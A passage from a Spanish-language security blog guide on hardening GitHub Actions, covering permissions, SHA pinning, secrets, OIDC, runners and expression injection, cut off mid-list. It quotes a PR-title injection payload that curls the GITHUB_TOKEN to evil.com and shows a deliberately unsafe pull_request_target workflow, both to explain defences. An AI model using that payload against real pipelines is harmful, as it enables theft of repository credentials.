{"id":593,"date":"2026-03-24T08:51:51","date_gmt":"2026-03-24T07:51:51","guid":{"rendered":"https:\/\/secure-pipelines.com\/?p=593"},"modified":"2026-07-08T22:38:56","modified_gmt":"2026-07-08T21:38:56","slug":"github-actions-security-definitive-guide","status":"publish","type":"post","link":"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/github-actions-security-definitive-guide\/","title":{"rendered":"Seguridad de GitHub Actions: La Gu\u00eda Definitiva"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">GitHub Actions se ha convertido en la plataforma CI\/CD m\u00e1s adoptada del mundo. Con m\u00e1s del 90 % de los repositorios de GitHub capaces de usarla de forma nativa, impulsa desde simples comprobaciones de linting hasta complejos despliegues multicloud. Pero esa ubicuidad la convierte en la superficie de ataque CI\/CD m\u00e1s atacada del desarrollo de software moderno.<\/p>\n\n<p class=\"wp-block-paragraph\">En 2024 y 2025, los atacantes comprometieron GitHub Actions populares (como <code>tj-actions\/changed-files<\/code> y <code>reviewdog<\/code>), inyectaron c\u00f3digo malicioso en miles de workflows de CI y exfiltraron secretos de organizaciones que daban por sentado que sus pipelines eran seguros. Los ataques a la cadena de suministro en CI\/CD ya no son te\u00f3ricos: son rutinarios.<\/p>\n\n<p class=\"wp-block-paragraph\">Esta gu\u00eda es una referencia completa y pr\u00e1ctica para asegurar GitHub Actions desde cero. Tanto si eres un ingeniero de DevOps fortaleciendo workflows de producci\u00f3n, un arquitecto de seguridad definiendo pol\u00edticas CI\/CD o un desarrollador que quiere dejar de distribuir vulnerabilidades a trav\u00e9s de su pipeline, este art\u00edculo cubre todo lo que necesitas saber, con enlaces a labs detallados y cheat sheets a lo largo del texto.<\/p>\n\n<h2 class=\"wp-block-heading\">Comprender el modelo de seguridad de GitHub Actions<\/h2>\n\n<p class=\"wp-block-paragraph\">Antes de poder asegurar GitHub Actions, necesitas entender c\u00f3mo funciona realmente su modelo de seguridad. GitHub Actions opera sobre un modelo de confianza construido en torno a tres pilares: los <strong>tokens de autenticaci\u00f3n<\/strong>, los <strong>triggers de workflow<\/strong> y los <strong>entornos de ejecuci\u00f3n<\/strong>.<\/p>\n\n<h3 class=\"wp-block-heading\">El GITHUB_TOKEN<\/h3>\n\n<p class=\"wp-block-paragraph\">Cada ejecuci\u00f3n de workflow recibe autom\u00e1ticamente un <code>GITHUB_TOKEN<\/code>: un token de corta duraci\u00f3n acotado al repositorio donde se ejecuta el workflow. Este token es el mecanismo de autenticaci\u00f3n principal para interactuar con la API de GitHub desde dentro de los workflows. Por defecto, el token tiene amplios permisos de lectura\/escritura sobre el repositorio, incluida la capacidad de publicar c\u00f3digo, gestionar issues y modificar paquetes.<\/p>\n\n<p class=\"wp-block-paragraph\">La observaci\u00f3n de seguridad cr\u00edtica: <strong>los permisos por defecto del <code>GITHUB_TOKEN<\/code> son demasiado amplios para la mayor\u00eda de los workflows<\/strong>. Un workflow que solo necesita publicar un comentario en un PR no deber\u00eda tener permiso para publicar c\u00f3digo. Sin embargo, sin una configuraci\u00f3n expl\u00edcita, lo tiene.<\/p>\n\n<h3 class=\"wp-block-heading\">Triggers de workflow<\/h3>\n\n<p class=\"wp-block-paragraph\">GitHub Actions admite decenas de triggers de eventos: <code>push<\/code>, <code>pull_request<\/code>, <code>pull_request_target<\/code>, <code>workflow_dispatch<\/code>, <code>schedule<\/code>, <code>issue_comment<\/code> y m\u00e1s. Cada trigger conlleva implicaciones de seguridad diferentes:<\/p>\n\n<ul class=\"wp-block-list\">\n<li><strong><code>pull_request<\/code><\/strong> \u2014 se ejecuta en el contexto del c\u00f3digo del fork. El <code>GITHUB_TOKEN<\/code> es de solo lectura. Los secretos no est\u00e1n disponibles desde los forks. Es el trigger m\u00e1s seguro para contribuciones externas.<\/li>\n<li><strong><code>pull_request_target<\/code><\/strong> \u2014 se ejecuta en el contexto del repositorio <em>base<\/em>. El <code>GITHUB_TOKEN<\/code> tiene acceso de escritura. Los secretos est\u00e1n disponibles. Es extremadamente peligroso si haces checkout del c\u00f3digo head del PR.<\/li>\n<li><strong><code>push<\/code><\/strong> \u2014 se ejecuta sobre el commit publicado. Acceso completo a secretos y tokens de escritura. Seguro solo para ramas confiables.<\/li>\n<li><strong><code>workflow_dispatch<\/code><\/strong> \u2014 trigger manual. \u00datil para despliegues controlados, pero verifica los par\u00e1metros de entrada.<\/li>\n<li><strong><code>schedule<\/code><\/strong> \u2014 se ejecuta seg\u00fan una programaci\u00f3n cron contra la rama por defecto. Tiene acceso de escritura y secretos. Aseg\u00farate de que los workflows programados no puedan ser modificados por PRs no confiables.<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\">Environments y protecci\u00f3n de despliegue<\/h3>\n\n<p class=\"wp-block-paragraph\">Los Environments de GitHub proporcionan una frontera de seguridad adicional. Puedes asociar reglas de protecci\u00f3n a los environments: revisores obligatorios, temporizadores de espera, restricciones de rama y pol\u00edticas de rama de despliegue. Los secretos pueden acotarse a environments espec\u00edficos, garantizando que las credenciales de producci\u00f3n solo est\u00e9n disponibles para los workflows que despliegan en producci\u00f3n.<\/p>\n\n<p class=\"wp-block-paragraph\">Los environments son una de las funciones de seguridad m\u00e1s infrautilizadas de GitHub Actions. Si no los est\u00e1s usando, te falta una capa de control cr\u00edtica.<\/p>\n\n<h2 class=\"wp-block-heading\">Permisos de workflow: el principio de m\u00ednimo privilegio<\/h2>\n\n<p class=\"wp-block-paragraph\">La mejora de seguridad m\u00e1s impactante que puedes aplicar a cualquier workflow de GitHub Actions es <strong>restringir los permisos del <code>GITHUB_TOKEN<\/code><\/strong>. GitHub te permite establecer permisos en dos niveles: el workflow completo y los jobs individuales.<\/p>\n\n<h3 class=\"wp-block-heading\">Establecer los permisos por defecto en solo lectura<\/h3>\n\n<p class=\"wp-block-paragraph\">A nivel de organizaci\u00f3n o repositorio, navega a <strong>Settings \u2192 Actions \u2192 General \u2192 Workflow permissions<\/strong> y selecciona <strong>\u00abRead repository contents and packages permissions\u00bb<\/strong>. Esto garantiza que cada workflow arranque con permisos m\u00ednimos y deba solicitar expl\u00edcitamente cualquier cosa m\u00e1s all\u00e1 del acceso de lectura.<\/p>\n\n<p class=\"wp-block-paragraph\">En tus archivos de workflow, declara siempre los permisos de forma expl\u00edcita en el nivel superior:<\/p>\n\n<pre><code>permissions:\n  contents: read\n  pull-requests: write  # Only if needed\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">Para los jobs que requieran permisos diferentes, decl\u00e1ralos a nivel de job. Los permisos a nivel de job sobrescriben los permisos a nivel de workflow para ese job concreto, ofreciendo un control a\u00fan m\u00e1s granular:<\/p>\n\n<pre><code>jobs:\n  build:\n    permissions:\n      contents: read\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n      - run: npm build\n\n  deploy:\n    permissions:\n      contents: read\n      id-token: write  # For OIDC\n    runs-on: ubuntu-latest\n    steps:\n      - uses: aws-actions\/configure-aws-credentials@v4\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">Para una referencia completa sobre qu\u00e9 permisos se necesitan para las operaciones habituales, consulta nuestra <a href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/github-actions-security-cheat-sheet\/\">Cheat Sheet de seguridad de GitHub Actions<\/a>, que asigna cada tarea com\u00fan a su conjunto m\u00ednimo de permisos requeridos.<\/p>\n\n<h2 class=\"wp-block-heading\">Fijado (pinning) de actions: defensa contra los ataques a la cadena de suministro<\/h2>\n\n<p class=\"wp-block-paragraph\">Cada directiva <code>uses:<\/code> de tu workflow es una dependencia y, como cualquier dependencia, puede verse comprometida. El incidente de <code>tj-actions\/changed-files<\/code> a principios de 2025 demostr\u00f3 exactamente qu\u00e9 ocurre cuando una action popular es secuestrada: el atacante modific\u00f3 la action para exfiltrar el <code>GITHUB_TOKEN<\/code> y otros secretos de todos los repositorios que la referenciaban por tag.<\/p>\n\n<h3 class=\"wp-block-heading\">Por qu\u00e9 los tags y las ramas no bastan<\/h3>\n\n<p class=\"wp-block-paragraph\">Cuando referencias una action como <code>actions\/checkout@v4<\/code>, est\u00e1s confiando en que el mantenedor de la action \u2014y en cualquiera que comprometa su cuenta\u2014 no mueva ni modifique ese tag. Los tags en Git son mutables. Un atacante que obtenga acceso de escritura a un repositorio puede apuntar <code>v4<\/code> a cualquier commit que elija.<\/p>\n\n<h3 class=\"wp-block-heading\">Fijado por SHA<\/h3>\n\n<p class=\"wp-block-paragraph\">La soluci\u00f3n es fijar las actions a su SHA de commit completo:<\/p>\n\n<pre><code># Bad - mutable tag\n- uses: actions\/checkout@v4\n\n# Good - immutable SHA pin with version comment\n- uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">Las referencias fijadas por SHA son inmutables. Aunque el repositorio de la action se vea comprometido, el SHA apunta al c\u00f3digo exacto que auditaste. El comentario final garantiza que las personas sigan pudiendo identificar la versi\u00f3n de un vistazo, y que herramientas como Dependabot puedan seguir proponiendo actualizaciones.<\/p>\n\n<h3 class=\"wp-block-heading\">Automatizar las actualizaciones de pins con Dependabot<\/h3>\n\n<p class=\"wp-block-paragraph\">El fijado por SHA genera una carga de mantenimiento: necesitas actualizar los pins cuando se publican nuevas versiones. Dependabot resuelve esto. A\u00f1ade una configuraci\u00f3n <code>.github\/dependabot.yml<\/code>:<\/p>\n\n<pre><code>version: 2\nupdates:\n  - package-ecosystem: \"github-actions\"\n    directory: \"\/\"\n    schedule:\n      interval: \"weekly\"\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">Dependabot abrir\u00e1 autom\u00e1ticamente PRs para actualizar tus actions fijadas por SHA a la versi\u00f3n m\u00e1s reciente, manteniendo la referencia SHA inmutable. Esto te da la seguridad del fijado con la comodidad de las actualizaciones autom\u00e1ticas.<\/p>\n\n<p class=\"wp-block-paragraph\">Para un recorrido pr\u00e1ctico sobre c\u00f3mo implementar el fijado de actions, el fortalecimiento de permisos y las buenas pr\u00e1cticas de secretos en un workflow real, completa nuestro <a href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/lab-hardening-github-actions-workflows-permissions-pinning-secrets\/\">Lab: fortalecimiento de workflows de GitHub Actions \u2014 permisos, pinning y secretos<\/a>.<\/p>\n\n<h2 class=\"wp-block-heading\">Gesti\u00f3n de secretos<\/h2>\n\n<p class=\"wp-block-paragraph\">Los secretos en GitHub Actions existen en tres \u00e1mbitos: <strong>repositorio<\/strong>, <strong>environment<\/strong> y <strong>organizaci\u00f3n<\/strong>. Entender las diferencias y usar el \u00e1mbito adecuado es fundamental para la seguridad.<\/p>\n\n<h3 class=\"wp-block-heading\">Secretos de repositorio<\/h3>\n\n<p class=\"wp-block-paragraph\">Disponibles para todos los workflows de un repositorio. Cualquier workflow desencadenado por un push o un pull_request (desde el mismo repo) puede acceder a ellos. <strong>No est\u00e1n disponibles para los workflows desencadenados por eventos <code>pull_request<\/code> procedentes de forks.<\/strong><\/p>\n\n<h3 class=\"wp-block-heading\">Secretos de environment<\/h3>\n\n<p class=\"wp-block-paragraph\">Acotados a un environment espec\u00edfico. Solo los jobs que referencian ese environment pueden acceder a sus secretos. Combinados con las reglas de protecci\u00f3n del environment (revisores obligatorios, restricciones de rama), los secretos de environment ofrecen la protecci\u00f3n de secretos nativa m\u00e1s fuerte de GitHub Actions.<\/p>\n\n<h3 class=\"wp-block-heading\">Secretos de organizaci\u00f3n<\/h3>\n\n<p class=\"wp-block-paragraph\">Compartidos entre repositorios. Pueden restringirse a repositorios espec\u00edficos o ponerse a disposici\u00f3n de todos. \u00datiles para credenciales compartidas como los tokens de container registry, pero aumentan el radio de impacto si se ven comprometidos.<\/p>\n\n<h3 class=\"wp-block-heading\">Seguridad frente a forks y pull_request_target<\/h3>\n\n<p class=\"wp-block-paragraph\">La interacci\u00f3n entre forks, secretos y <code>pull_request_target<\/code> es una de las \u00e1reas m\u00e1s peligrosas de la seguridad de GitHub Actions. Esta es la regla clave:<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>Nunca hagas checkout del c\u00f3digo head de un PR en un workflow <code>pull_request_target<\/code> ni lo ejecutes con acceso a secretos.<\/strong><\/p>\n\n<p class=\"wp-block-paragraph\">Este patr\u00f3n \u2014a veces llamado \u00abpwn request\u00bb\u2014 permite a un atacante enviar un PR desde un fork que modifique el script de build, la suite de tests o cualquier otro c\u00f3digo que se ejecute. Como <code>pull_request_target<\/code> se ejecuta con los secretos y el token de escritura del repositorio base, el c\u00f3digo del atacante se ejecuta con acceso total a tus credenciales.<\/p>\n\n<pre><code># DANGEROUS - Never do this\non: pull_request_target\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}  # Attacker-controlled code!\n      - run: npm test  # Runs attacker's code with your secrets\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">Si tienes que usar <code>pull_request_target<\/code>, haz checkout \u00fanicamente del c\u00f3digo de la rama base, o utiliza un patr\u00f3n de dos workflows en el que el primer workflow (desencadenado por <code>pull_request<\/code>) produzca artefactos, y el segundo (desencadenado por <code>workflow_run<\/code>) procese esos artefactos con permisos elevados.<\/p>\n\n<h2 class=\"wp-block-heading\">OIDC y workload identity federation<\/h2>\n\n<p class=\"wp-block-paragraph\">Las credenciales de larga duraci\u00f3n almacenadas como secretos de GitHub son una bomba de relojer\u00eda. Si un secreto se exfiltra \u2014mediante una action comprometida, una filtraci\u00f3n en los logs o un PR malicioso\u2014, el atacante tiene acceso persistente hasta que la credencial se rota manualmente. La soluci\u00f3n es la <strong>workload identity federation basada en OIDC<\/strong>.<\/p>\n\n<h3 class=\"wp-block-heading\">C\u00f3mo funciona OIDC en GitHub Actions<\/h3>\n\n<p class=\"wp-block-paragraph\">GitHub Actions puede emitir tokens OIDC que aseveran la identidad de una ejecuci\u00f3n de workflow. Estos tokens contienen claims sobre el repositorio, la rama, el environment, el actor y el workflow. Los proveedores de nube (AWS, GCP, Azure) pueden configurarse para confiar en estos tokens e intercambiarlos por credenciales de corta duraci\u00f3n.<\/p>\n\n<p class=\"wp-block-paragraph\">El flujo funciona as\u00ed:<\/p>\n\n<ol class=\"wp-block-list\">\n<li>Tu workflow solicita un token OIDC al endpoint de tokens de GitHub (requiere el permiso <code>id-token: write<\/code>).<\/li>\n<li>El token se env\u00eda al endpoint STS\/de intercambio de tokens de tu proveedor de nube.<\/li>\n<li>El proveedor de nube valida la firma del token contra el documento de discovery OIDC de GitHub.<\/li>\n<li>Si los claims del token coinciden con tu pol\u00edtica de confianza (repo, rama y environment correctos), el proveedor emite credenciales de corta duraci\u00f3n.<\/li>\n<li>Tu workflow usa estas credenciales temporales, que caducan autom\u00e1ticamente.<\/li>\n<\/ol>\n\n<h3 class=\"wp-block-heading\">Ejemplo: AWS con OIDC<\/h3>\n\n<pre><code>permissions:\n  id-token: write\n  contents: read\n\nsteps:\n  - uses: aws-actions\/configure-aws-credentials@v4\n    with:\n      role-to-assume: arn:aws:iam::123456789012:role\/github-actions-deploy\n      aws-region: us-east-1\n      # No access keys needed!\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">Con OIDC, no hay credenciales est\u00e1ticas que robar. Aunque un atacante exfiltre el token OIDC, caduca en minutos y est\u00e1 vinculado a claims espec\u00edficos que limitan d\u00f3nde puede usarse.<\/p>\n\n<p class=\"wp-block-paragraph\">Para un an\u00e1lisis en profundidad de los conceptos detr\u00e1s de la workload identity federation, lee nuestra gu\u00eda sobre <a href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/short-lived-credentials-workload-identity-federation-ci-cd-2\/\">Credenciales de corta duraci\u00f3n y workload identity federation para CI\/CD<\/a>. Para implementarla de forma pr\u00e1ctica, sigue nuestro <a href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/lab-configuring-oidc-workload-identity-github-actions-aws-2\/\">Lab: configuraci\u00f3n de workload identity OIDC para GitHub Actions y AWS<\/a>.<\/p>\n\n<h2 class=\"wp-block-heading\">Seguridad de los runners: hospedados frente a autoalojados<\/h2>\n\n<p class=\"wp-block-paragraph\">El runner es donde realmente se ejecuta el c\u00f3digo de tu workflow. Las propiedades de seguridad de tu runner determinan directamente el radio de impacto de cualquier compromiso del workflow.<\/p>\n\n<h3 class=\"wp-block-heading\">Runners hospedados por GitHub<\/h3>\n\n<p class=\"wp-block-paragraph\">Los runners hospedados por GitHub son m\u00e1quinas virtuales ef\u00edmeras que se aprovisionan nuevas para cada job y se destruyen despu\u00e9s. Esto proporciona un aislamiento s\u00f3lido:<\/p>\n\n<ul class=\"wp-block-list\">\n<li>Sin persistencia entre jobs: el malware no puede sobrevivir de una ejecuci\u00f3n a otra.<\/li>\n<li>Sin movimiento lateral hacia otros workflows o repositorios.<\/li>\n<li>Im\u00e1genes base predecibles y fortalecidas, mantenidas por GitHub.<\/li>\n<\/ul>\n\n<p class=\"wp-block-paragraph\">Para la mayor\u00eda de los workflows, los runners hospedados por GitHub son la opci\u00f3n m\u00e1s segura. El compromiso es una personalizaci\u00f3n limitada y, potencialmente, costes m\u00e1s altos para cargas de trabajo intensivas en c\u00f3mputo.<\/p>\n\n<h3 class=\"wp-block-heading\">Runners autoalojados: riesgos y mitigaciones<\/h3>\n\n<p class=\"wp-block-paragraph\">Los runners autoalojados se ejecutan en tu propia infraestructura. Ofrecen m\u00e1s control y pueden resultar m\u00e1s baratos a escala, pero introducen riesgos de seguridad significativos:<\/p>\n\n<ul class=\"wp-block-list\">\n<li><strong>Persistencia<\/strong> \u2014 si un runner no es ef\u00edmero, un workflow comprometido puede plantar backdoors que afecten a ejecuciones futuras.<\/li>\n<li><strong>Estado compartido<\/strong> \u2014 las credenciales, cach\u00e9s y artefactos de jobs anteriores pueden quedar accesibles.<\/li>\n<li><strong>Acceso de red<\/strong> \u2014 los runners autoalojados suelen tener acceso a redes internas, bases de datos y servicios que los runners hospedados por GitHub no pueden alcanzar.<\/li>\n<li><strong>Explotaci\u00f3n desde forks<\/strong> \u2014 si un repo p\u00fablico usa runners autoalojados y permite PRs desde forks, cualquiera puede ejecutar c\u00f3digo arbitrario en tu infraestructura.<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\">Runners ef\u00edmeros con Actions Runner Controller (ARC)<\/h3>\n\n<p class=\"wp-block-paragraph\">El mejor enfoque para los runners autoalojados es hacerlos <strong>ef\u00edmeros<\/strong>. Actions Runner Controller (ARC) se ejecuta sobre Kubernetes y aprovisiona un pod de runner nuevo para cada job. Cuando el job termina, el pod se destruye, igual que un runner hospedado por GitHub, pero en tu propia infraestructura.<\/p>\n\n<p class=\"wp-block-paragraph\">Pr\u00e1cticas de seguridad clave con ARC:<\/p>\n\n<ul class=\"wp-block-list\">\n<li>Usa el modo Kubernetes (containerMode) para un aislamiento m\u00e1ximo.<\/li>\n<li>Establece l\u00edmites de recursos para prevenir el abuso de criptominer\u00eda.<\/li>\n<li>Usa network policies para restringir el tr\u00e1fico saliente de los pods de runner.<\/li>\n<li>Restringe los grupos de runners a repositorios espec\u00edficos.<\/li>\n<li>Nunca asignes runners autoalojados a repositorios p\u00fablicos a menos que sean totalmente ef\u00edmeros.<\/li>\n<\/ul>\n\n<p class=\"wp-block-paragraph\">Para una gu\u00eda completa sobre la arquitectura de seguridad de los runners, consulta <a href=\"https:\/\/secure-pipelines.com\/es\/github-actions\/securing-github-actions-runners-2\/\">C\u00f3mo asegurar los runners de GitHub Actions<\/a>. Para desplegar runners ef\u00edmeros en la pr\u00e1ctica, trabaja con nuestro <a href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/lab-ephemeral-self-hosted-runners-actions-runner-controller-2\/\">Lab: runners autoalojados ef\u00edmeros con Actions Runner Controller<\/a>.<\/p>\n\n<h2 class=\"wp-block-heading\">Seguridad de las actions de terceros<\/h2>\n\n<p class=\"wp-block-paragraph\">Cada action de terceros que referencias en un workflow es c\u00f3digo que se ejecuta dentro de tu pipeline CI\/CD con acceso a tu c\u00f3digo fuente, tus secretos y tus credenciales de despliegue. Es esencial tratar las actions de terceros como cualquier otra dependencia de software.<\/p>\n\n<h3 class=\"wp-block-heading\">Auditar las actions antes de usarlas<\/h3>\n\n<p class=\"wp-block-paragraph\">Antes de a\u00f1adir cualquier action de terceros a tus workflows:<\/p>\n\n<ol class=\"wp-block-list\">\n<li><strong>Revisa el c\u00f3digo fuente<\/strong> \u2014 comprueba qu\u00e9 hace realmente la action. Busca llamadas de red, accesos a secretos y modificaciones de archivos.<\/li>\n<li><strong>Comprueba el mantenedor<\/strong> \u2014 \u00bfes un creador verificado? \u00bfSe mantiene activamente el repositorio? \u00bfCon qu\u00e9 rapidez se atienden los problemas de seguridad?<\/li>\n<li><strong>Examina los permisos que solicita<\/strong> \u2014 \u00bfuna action de \u00abetiquetar PRs\u00bb necesita <code>contents: write<\/code>? Eso es una se\u00f1al de alarma.<\/li>\n<li><strong>Busca pol\u00edticas de seguridad publicadas<\/strong> \u2014 \u00bfel repositorio de la action tiene un SECURITY.md? \u00bfHay procesos de divulgaci\u00f3n de vulnerabilidades?<\/li>\n<li><strong>Fija al SHA<\/strong> \u2014 fija siempre, incluso tras auditar. El c\u00f3digo puede cambiar despu\u00e9s de tu revisi\u00f3n.<\/li>\n<\/ol>\n\n<h3 class=\"wp-block-heading\">Implementar allowlists de actions<\/h3>\n\n<p class=\"wp-block-paragraph\">A nivel de organizaci\u00f3n, GitHub te permite restringir qu\u00e9 actions pueden usarse. Navega a <strong>Organization Settings \u2192 Actions \u2192 General \u2192 Policies<\/strong> y configura una allowlist. Las opciones incluyen:<\/p>\n\n<ul class=\"wp-block-list\">\n<li>Permitir solo actions creadas por GitHub.<\/li>\n<li>Permitir actions de creadores verificados m\u00e1s una allowlist espec\u00edfica.<\/li>\n<li>Permitir solo actions concretas por su referencia completa.<\/li>\n<\/ul>\n\n<p class=\"wp-block-paragraph\">Para las empresas, la allowlist es un control cr\u00edtico. Impide que los desarrolladores a\u00f1adan a la ligera actions sin evaluar a los workflows y proporciona un proceso de aprobaci\u00f3n centralizado para las nuevas dependencias de actions.<\/p>\n\n<p class=\"wp-block-paragraph\">Para practicar la detecci\u00f3n de comportamientos maliciosos en GitHub Actions mediante t\u00e9cnicas de an\u00e1lisis est\u00e1tico, completa nuestro <a href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/lab-detecting-malicious-github-actions-static-analysis-2\/\">Lab: detecci\u00f3n de GitHub Actions maliciosas con an\u00e1lisis est\u00e1tico<\/a>.<\/p>\n\n<h2 class=\"wp-block-heading\">Inyecci\u00f3n de expresiones<\/h2>\n\n<p class=\"wp-block-paragraph\">La inyecci\u00f3n de expresiones es una de las vulnerabilidades m\u00e1s comunes y peligrosas en los workflows de GitHub Actions. Se produce cuando una entrada no confiable se interpola directamente en una expresi\u00f3n de workflow usando la sintaxis <code>${{ }}<\/code>.<\/p>\n\n<h3 class=\"wp-block-heading\">C\u00f3mo funciona la inyecci\u00f3n de expresiones<\/h3>\n\n<p class=\"wp-block-paragraph\">Las expresiones de GitHub Actions se eval\u00faan <em>antes<\/em> de que la shell las vea. Cuando escribes:<\/p>\n\n<pre><code>- run: echo \"Hello ${{ github.event.pull_request.title }}\"<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">La expresi\u00f3n se reemplaza por el t\u00edtulo literal del PR antes de que se construya el comando de shell. Si un atacante crea un PR con el t\u00edtulo:<\/p>\n\n<pre><code>\"; curl http:\/\/evil.com\/steal?token=$GITHUB_TOKEN; echo \"<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">El comando de shell resultante pasa a ser:<\/p>\n\n<pre><code>echo \"Hello \"; curl http:\/\/evil.com\/steal?token=$GITHUB_TOKEN; echo \"\"<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">El atacante ha inyectado comandos de shell arbitrarios en tu workflow.<\/p>\n\n<h3 class=\"wp-block-heading\">Contextos vulnerables<\/h3>\n\n<p class=\"wp-block-paragraph\">Los siguientes valores de contexto de GitHub est\u00e1n controlados por el atacante y <strong>nunca<\/strong> deber\u00edan usarse directamente en bloques <code>run:<\/code>:<\/p>\n\n<ul class=\"wp-block-list\">\n<li><code>github.event.pull_request.title<\/code><\/li>\n<li><code>github.event.pull_request.body<\/code><\/li>\n<li><code>github.event.issue.title<\/code><\/li>\n<li><code>github.event.issue.body<\/code><\/li>\n<li><code>github.event.comment.body<\/code><\/li>\n<li><code>github.event.review.body<\/code><\/li>\n<li><code>github.event.head_commit.message<\/code><\/li>\n<li><code>github.head_ref<\/code> (nombre de rama: controlado por el atacante en los forks)<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\">La soluci\u00f3n: variables de entorno<\/h3>\n\n<p class=\"wp-block-paragraph\">En lugar de interpolar expresiones en los bloques <code>run:<\/code>, p\u00e1salas a trav\u00e9s de variables de entorno:<\/p>\n\n<pre><code># Vulnerable\n- run: echo \"PR title: ${{ github.event.pull_request.title }}\"\n\n# Safe\n- run: echo \"PR title: $PR_TITLE\"\n  env:\n    PR_TITLE: ${{ github.event.pull_request.title }}\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">Cuando el valor se pasa a trav\u00e9s de una variable de entorno, la shell lo trata como una cadena literal, no como c\u00f3digo a ejecutar. Esto previene por completo la inyecci\u00f3n.<\/p>\n\n<h2 class=\"wp-block-heading\">Seguridad de la cadena de suministro: firma y procedencia<\/h2>\n\n<p class=\"wp-block-paragraph\">Asegurar tu pipeline CI\/CD no consiste solo en proteger el propio pipeline: se trata de garantizar que los artefactos que produce tu pipeline sean dignos de confianza. La seguridad de la cadena de suministro para GitHub Actions abarca la firma de artefactos, la atestaci\u00f3n de procedencia y la verificaci\u00f3n.<\/p>\n\n<h3 class=\"wp-block-heading\">Firma de artefactos con Cosign y Sigstore<\/h3>\n\n<p class=\"wp-block-paragraph\">Cosign, parte del proyecto Sigstore, permite la firma keyless de im\u00e1genes de contenedor y otros artefactos usando identidades OIDC. En GitHub Actions, esto significa que la identidad de tu workflow (repositorio, rama, workflow) se convierte en la identidad de firma: sin claves de firma est\u00e1ticas que gestionar o proteger.<\/p>\n\n<pre><code>steps:\n  - uses: sigstore\/cosign-installer@v3\n  - run: cosign sign --yes ${{ env.IMAGE_REF }}\n    env:\n      COSIGN_EXPERIMENTAL: 1\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">La firma resultante se almacena en un registro de transparencia (Rekor), lo que proporciona un registro auditable de que un workflow espec\u00edfico en un repositorio espec\u00edfico produjo un artefacto espec\u00edfico.<\/p>\n\n<h3 class=\"wp-block-heading\">Procedencia SLSA<\/h3>\n\n<p class=\"wp-block-paragraph\">SLSA (Supply-chain Levels for Software Artifacts) proporciona un marco para garantizar la integridad de los builds. La action oficial de GitHub <code>actions\/attest-build-provenance<\/code> genera atestaciones de procedencia SLSA que registran exactamente c\u00f3mo se construy\u00f3 un artefacto: el repo de origen, el commit, el builder y las instrucciones de build.<\/p>\n\n<p class=\"wp-block-paragraph\">La procedencia SLSA responde a la pregunta: \u00ab\u00bfPuedo demostrar que este artefacto se construy\u00f3 a partir de este c\u00f3digo fuente mediante este sistema CI\/CD?\u00bb. Para cualquier organizaci\u00f3n que se tome en serio la seguridad de la cadena de suministro, la atestaci\u00f3n de procedencia deber\u00eda formar parte de todo workflow de release.<\/p>\n\n<p class=\"wp-block-paragraph\">Para adquirir experiencia pr\u00e1ctica con la firma de contenedores usando Cosign en un pipeline CI\/CD, consulta nuestro lab de firma con Cosign. Para implementar la generaci\u00f3n y verificaci\u00f3n de procedencia SLSA, trabaja con nuestro lab de procedencia SLSA.<\/p>\n\n<h2 class=\"wp-block-heading\">Errores de configuraci\u00f3n habituales: los 5 principales<\/h2>\n\n<p class=\"wp-block-paragraph\">Tras auditar cientos de workflows de GitHub Actions, estos son los cinco errores de configuraci\u00f3n de seguridad m\u00e1s habituales que encontramos:<\/p>\n\n<h3 class=\"wp-block-heading\">1. Falta del bloque de permisos<\/h3>\n\n<p class=\"wp-block-paragraph\">Los workflows sin un bloque <code>permissions:<\/code> expl\u00edcito heredan los permisos por defecto del token del repositorio, que normalmente son de lectura\/escritura para todo. Esto vulnera el m\u00ednimo privilegio y maximiza el radio de impacto de cualquier compromiso.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>Soluci\u00f3n:<\/strong> a\u00f1ade un bloque <code>permissions: read-all<\/code> a nivel superior o un bloque de permisos granular a cada archivo de workflow.<\/p>\n\n<h3 class=\"wp-block-heading\">2. Actions de terceros sin fijar<\/h3>\n\n<p class=\"wp-block-paragraph\">Usar referencias por tag como <code>@v4<\/code> o <code>@main<\/code> para actions de terceros te expone a ataques a la cadena de suministro. Si el repositorio de la action se ve comprometido, los atacantes pueden publicar c\u00f3digo malicioso bajo el tag existente.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>Soluci\u00f3n:<\/strong> fija todas las actions de terceros a SHAs de commit completos. Usa Dependabot para gestionar las actualizaciones.<\/p>\n\n<h3 class=\"wp-block-heading\">3. Inyecci\u00f3n de expresiones en bloques run:<\/h3>\n\n<p class=\"wp-block-paragraph\">Interpolar directamente valores de contexto controlados por el atacante (t\u00edtulos de PR, cuerpos de issues, nombres de rama) en pasos <code>run:<\/code> permite la ejecuci\u00f3n de comandos arbitrarios.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>Soluci\u00f3n:<\/strong> pasa siempre los valores de contexto no confiables a trav\u00e9s de variables de entorno.<\/p>\n\n<h3 class=\"wp-block-heading\">4. Uso inseguro de pull_request_target<\/h3>\n\n<p class=\"wp-block-paragraph\">Hacer checkout y ejecutar c\u00f3digo del head de un PR en 